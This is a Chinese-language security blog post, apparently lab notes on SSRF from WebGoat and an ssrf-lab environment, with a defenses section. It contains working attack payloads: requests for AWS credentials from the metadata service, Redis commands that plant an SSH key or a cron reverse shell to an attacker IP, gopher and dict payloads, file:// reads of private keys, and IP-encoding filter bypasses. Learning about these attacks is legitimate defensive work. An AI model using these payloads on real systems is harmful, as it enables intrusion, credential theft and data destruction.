avatar

cindahy

A text-focused Halo theme

  • 首页
  • 文章分类
  • 项目
  • 关于
Home SSRF(服务端请求伪造)
文章

SSRF(服务端请求伪造)

Posted 2025-06-23 Updated 16 days ago
By Administrator
43~56 min read

SSRF攻击是指攻击者滥用服务器上的功能来读取或修改内部资源。在这种攻击中,攻击者能够提供或修改一个URL,使得服务器代码会按照这个URL去读取数据或提交数据

原理

  1. 服务器信任边界突破:利用服务器对内部网络的信任关系

  2. URL操控:经过精心构造的URL,攻击者可以

  1. 读取服务器配置(如AWS元数据)

  2. 连接到内部服务(如HTTP接口的数据库)

  3. 向本不应暴露的内部服务发送POST请求

攻击目标

  1. 信息收集

  1. 获取云服务数据(如AWS的IAM凭证)

  2. 读取服务器本地文件(通过file://协议)

  1. 内部网络探测

  1. 扫描内网IP和端口

  2. 识别内部服务

  1. 内部服务交互

  1. 攻击无认证的内部API

  2. 操作内部数据库

  3. 触发内部管理功能

典型攻击场景

POST /api/fetchdata HTTP/1.1
Host: vulnerable.com
Content-Type: application/json

{
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}

防御

  1. 输入验证

  1. 实施严格的URL白名单

  2. 验证服务类型(禁用危险协议)

  1. 网络层防护:

  1. 限制服务器出站连接(防火墙:限制服务器只能访问必要的内部服务)

  2. 使用网络隔离策略

  1. 云服务加固

  1. 保护元数据服务(如AWS IMDSv2)

  2. 使用服务端的代理替代直接请求

  1. 日志监控

  1. 记录所有外部请求

  2. 设置异常请求报警

SSRFtask1

靶场

这里点击按钮抓包后会提交一个tom.png的url申请,把tom改成jerry就行了

审计

源码也没什么好说的,就是个tom/jerry的比较

SSRFtask2

靶场

要我们从 http://ifconfig.pro 获取信息,那就尝试把url改成这个

没想到这就成功了

审计

也就是对url是否是http://ifconfig.pro 进行判断

ssrf-lab

Redis服务

基础概念:

Redis是一个开源的、基于内存的数据结构存储系统,默认端口6379,它可以用作数据库、缓存和消息中间件。Redis 以键值对形式存储数据,支持多种复杂的数据结构,具有高性能、高可靠性和丰富的功能特性,被广泛应用于互联网应用中。

常见攻击手法:

  • 未授权访问(Redis 服务器没有设置密码或绑定特定 IP,攻击者可以直接连接并执行命令。)

# 无需密码直接连接
redis-cli -h target_ip -p 6379

# 查看所有键
KEYS *

# 获取敏感数据
GET user:password
  • RCE:攻击者通过 Redis 写入 SSH 密钥或定时任务,实现远程命令执行。

# 写入SSH公钥,实现无密码登录
SET x "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqql6MzstZYh1TmWWv11q5O3pISj2ZFl9HgH1JLknLLx44+tXfJ7mIrKNxOOwxIxvcBF8PXSYvobFYEZjGIVCEAjrUzLiIxbyCoxVyle7Q+bqgZ8SeeM8wzytsY+dVGcBxF6N4JS+zVk5eMcV385gG3Y6ON3EG112n6d+SMXY0OEBIcO6x+PnUSGHrSgpBgX7Ks1r7xqFa7heJLLt2wWwkARptX7udSq05paBhcpB0pHtA1Rfz3K2B+ZVIpSDfki9UVKzT8JUmwW6NNzSgxUfQHGwnW7kj4jp4AT0VZk3ADw497M2G/12N0PPB5CnhHf7ovgy6nL1ikrygTKRFmNZISvA==\n\n"
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SAVE

# 写入定时任务执行反弹shell
SET x "\n\n*/1 * * * * bash -i >& /dev/tcp/attacker_ip/8080 0>&1\n\n"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
  • 数据泄露攻击

# 遍历所有键
KEYS *

# 获取特定模式的键
KEYS user:*
KEYS password:*

# 获取敏感数据
GET user:1:password
HGETALL user:1
  • 脚本注入攻击:攻击者利用EVAL命令执行恶意Lua脚本

# 执行系统命令
EVAL "os.execute('cat /etc/passwd')" 0

# 删除所有数据
EVAL "redis.call('FLUSHALL')" 0

Gopher协议

Gopher协议是一种早期的互联网协议,类似于简化的HTTP,主要用于文本、菜单和文件的传输。现代Web已经很少使用,但某些服务器仍支持

  • 协议特点

  • 基于TCP,默认端口70

  • 支持多行命令

  • 可以构造任意的TCP数据包

  • 常用于攻击Redis、MySQL、Memcached等内网服务

  • 在SSRF中的作用

Gopher是SSRF中最危险的协议之一,因为:

  • 可构造任意TCP请求(如Redis、MySQL命令)

  • 绕过HTTP限制(HTTP只能单行请求,Gopher可多行)

  • 攻击内网未授权服务(如Redis未授权访问)

  • 攻击示例(Redis未授权访问)

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$1%0d%0a1%0d%0a

解码后相当于向Redis发送( SET 1 1)

Dict协议

Dict用于查询字典定义,默认端口2628

  • 协议特点

  • 主要用于查询单词定义

  • 可以探测端口开放情况

  • 某些实现允许执行简单命令

  • 在SSRF中的作用

  • 端口扫描(检查内网服务是否开放)

dict://127.0.0.1:6379/

如果 Redis 开放,会返回 -ERR unknown command。

  • 获取服务信息

dict://127.0.0.1:2628/info

某些服务(如Redis)会返回版本信息

curl

curl是常用的命令行工具,用于请求Web服务器(客户端client的URL工具)

用途

命令示例

注释

GET 请求

curl https://example.com

POST请求

curl -X POST https://example.com/api -d "name=value"

-X:指定 HTTP方法

-d:发送POST数据(表单格式)

发送JSON

curl -X POST https://example.com/api \

-H "Content-Type: application/json" \

-d '{"key": "value"}'

-H:添加 HTTP 请求头(如 Content-Type)

-d:发送 JSON 数据。

查看请求和响应头

curl -v https://example.com

仅查看响应头

curl -I https://example.com

保存输出到文件

curl -o output.html https://example.com

curl -O https://example.com/file.zip

-o:将响应保存到文件(output.html)

-O:保存文件并将 URL 的最后部分当作文件名。

跟随重定向

curl -L https://example.com

-L(--location):自动跟随 301/302 重定向

常见内网IP段

局域网地址范围分三类,以下IP段为内网IP段:

C类:192.168.0.0 - 192.168.255.255 

B类:172.16.0.0 - 172.31.255.255 

A类:10.0.0.0 - 10.255.255.255

AK/SK

云服务提供商提供的身份验证凭证,AK是访问密钥ID,SK是秘密访问密钥

常见云服务AK/SK:

  • AWS:AKIAxxxxxxxxxxxxxxxx

  • 阿里云:LTAIxxxxxxxxxxxxxxxx

  • 腾讯云:AKIDxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

利用技巧

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

不同云厂商的元数据端点:

  • AWS: 169.254.169.254

  • 阿里云: 100.100.100.200

  • 腾讯云: metadata.tencentyun.com

临时凭证使用

aws sts assume-role --role-arn arn:aws:iam::123456789012:role/role-name --role-session-name test

SSH

  1. SSH密钥类型:RSA、DSA、ECDSA、Ed25519

  2. 常见位置:

  • ~/.ssh/id_rsa (私钥)

  • ~/.ssh/authorized_keys (公钥授权文件)

  • /etc/ssh/ssh_host_*_key (主机密钥)

利用技巧

1.读取本地文件获取SSH密钥:

curl file:///home/user/.ssh/id_rsa
  1. 通过gopher协议利用SSH:

  • 构造SSH协议流量攻击内网SSH服务

  • 利用已知漏洞或弱密码尝试登录

  1. 利用known_hosts文件

  • 获取内网主机信息

  • 分析信任关系

basic

没怎么接触过这种类型,先看源码

源码

  • 初始化一个cURL会话,ch中存储cURL会话的句柄(handle)

  • 将用户通过POST方法提交的URL设置为cURL请求的目标地址

  • CURLOPT_URL是一个选项,用于指定请求的目标URL

  • 前端通过POST方法提交了一个表单,其中包含一个名为 handler 的字段,其值是一个 URL 地址。

  • CURLOPT_RETURNTRANSFER被设置为1时,cURL会将请求的返回结果以字符串的形式返回,而不是直接输出到浏览器(方便后续对返回结果处理或存储)

  • 执行请求后,返回的结果会存储在变量 $output 中。

  • 关闭cURL会话

  • 将变量 $output 的内容输出到浏览器。

  • 总结:就是前端输入一个URL,curl会对这个url发出HTTP请求,并将结果返回浏览器,可以看到这里是没有过滤的

靶场

因为很多的SSRF协议都是要结合Redis服务利用的,所以

开启一下redis服务

http与https协议

127.0.0.1

可以看到回显,说明没有对内网进行过滤

file协议

file:///etc/passwd

file:///文件的路径

dict协议

dict://127.0.0.1:6379/info

简单看一下返回的redis信息(本地redis服务配置信息)

HTTP/1.1 200 OK //redis 是 TCP 协议服务,但返回了 HTTP 头因为被HTTP代理拦截
Date: Fri, 13 Jun 2025 07:55:50 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 2039
Connection: close
Content-Type: text/html; charset=UTF-8

-ERR Syntax error, try CLIENT (LIST | KILL ip:port | GETNAME | SETNAME connection-name)
$1936
# Server 
redis_version:3.0.6
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:7785291a3d2152db
redis_mode:standalone
os:Linux 6.6.87.1-microsoft-standard-WSL2 x86_64
arch_bits:64
multiplexing_api:epoll
gcc_version:5.4.0
process_id:119
run_id:beb83efc8db5b60019a2e2ad65ce4f485e510365
tcp_port:6379   //默认端口开放
uptime_in_seconds:5543
uptime_in_days:0
hz:10
lru_clock:4970885
config_file:    //未指定配置文件

# Clients    //客户端 
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:6
blocked_clients:0

# Memory
used_memory:815640
used_memory_human:796.52K
used_memory_rss:3932160
used_memory_peak:816664
used_memory_peak_human:797.52K
used_memory_lua:36864
mem_fragmentation_ratio:4.82
mem_allocator:jemalloc-3.6.0

# Persistence
loading:0
rdb_changes_since_last_save:5
rdb_bgsave_in_progress:0
rdb_last_save_time:1749798267
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
aof_enabled:0      //未开启持久化
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok

# Stats
total_connections_received:13
total_commands_processed:24
instantaneous_ops_per_sec:0
total_net_input_bytes:925
total_net_output_bytes:11431
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0
migrate_cached_sockets:0

# Replication
role:master
connected_slaves:0
master_repl_offset:0
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

# CPU
used_cpu_sys:4.02
used_cpu_user:1.45
used_cpu_sys_children:0.00
used_cpu_user_children:0.00

# Cluster
cluster_enabled:0

# Keyspace
db0:keys=1,expires=0,avg_ttl=0 //数据库状态有一个键无过期键

+OK

protected-mode:(未显示) # 未启用保护模式

requirepass:(未显示) # 未设置密码认证

利用dict://127.0.0.1:6379/KEYS *获取 redis 数据库 存储的内容

通过容器验证

Gopher协议

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a


-->
gopher://127.0.0.1:6379/_*1 $8 flushall *3 $3 set $1 1 $64 */1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1 *4 $6 config $3 set $3 dir $16 /var/www/html/ *4 $6 config $3 set $10 dbfilename $4 root *1 $4 save quit
  • 连接 Redis,_后的内容是经过UEL编码后的 Redis协议(RESP)命令

  • 清理Redis数据:_*1 $8 flushall(删除所有数据库的数据)

  • 写入恶意 Cron 任务:

  • 使用 SET 命令将键 1 的值设为一段 Cron 任务(每 1 分钟执行一次反弹 Shell)

  • 攻击者试图通过 Redis 写入定时任务,建立持久化后门

  • 配置Redis持久化路径

  • *4 $6 config $3 set $3 dir $16 /var/www/html/

修改 Redis 持久化目录为 /var/www/html/(通常为 Web 根目录)。

  • *4 $6 config $3 set $10 dbfilename $4 root

修改持久化文件名为 root(最终文件路径为 /var/www/html/root)。

  • 触发持久化

  • *1 $4 save

强制 Redis 将数据保存到磁盘(写入恶意 Cron 任务到 Web 目录)。

  • quit

退出 Redis 连接。

  • 总结

  • 写入恶意 Cron 任务(用于定时执行任务的计划任务服务)

通过 Redis 的 SET 命令插入 Cron 任务,实现定时反弹 Shell(连接到攻击者的 IP 127.0.0.1:45952)。

  • 利用 Web 目录提权

将 Redis 持久化文件(root)写入 Web 目录,可能通过 HTTP 访问或后续利用。

返回结果

advanced1

这里通过正则表达式限制url必须以http://或者https://开头,并且不能指向10.0.0.3这一地址

这样的话之前的协议绕过肯定是不行的,但是可以ip地址编码绕过

ip地址绕过

字符串:       10.0.0.3
二进制:       00001010 . 00000000 . 00000000 . 00000011
八进制:				012.0.0.03
十六进制:    0A.00.00.03          0xA.0x0.0x0.0x3
整数:           167772163

点号省略      10.3

advanced2

可以看到被限制了

这里感觉有点奇怪,网上用http://google.com# @secret.corp绕过,但是这一返回其实和secret.corp没关系

advanced3

webgoat
webgoat ssrf
License:  CC BY 4.0
Share

Further Reading

Aug 4, 2025

XXE

XML实体 XML实体(Entity)是XML中用来定义可重用内容的机制,当XML文档被解析时,这些实体引用会被替换为实际内容。实体主要有三种类型: 内部实体:在文档内部定义的实体(是否开启根元素的约束)(#PCDATA) <!DOCTYPE example [ <!ENTITY js "Jo

Jun 28, 2025

有缺陷的访问控制

HijackSessionAssignment 在 HijackSessionAuthenticationProvider 类中,ID 的生成由以下代码控制: private static long id = new Random().nextLong() & Long.MAX_VALUE; //

Jun 24, 2025

XSS(跨站脚本攻击)

基本概念 XSS是一种将恶意脚本注入到其他用户浏览的网页中的攻击方式 分类 反射型 非持久化攻击 典型场景 恶意URL:http://example.com/search?q=<script>alert(1)</script> 当用户点击该链接时,服务器返回的页面中包含未转义的搜索词,导致脚本执行

OLDER

SSRF进阶

NEWER

XSS(跨站脚本攻击)

Recently Updated

  • 常见安全产品整理(防火墙,WAF,EDR)
  • ELK从入门到实践
  • bp+mumu模拟器app抓包
  • xray漏扫工具
  • Java反序列化-RMI的几种攻击方式

Trending Tags

安全运营 文件上传 php反序列化 xss csrf ssrf xxe sql php 白帽子讲web安全

Contents

©2025 cindahy. Some rights reserved.

Using the Halo theme Chirpy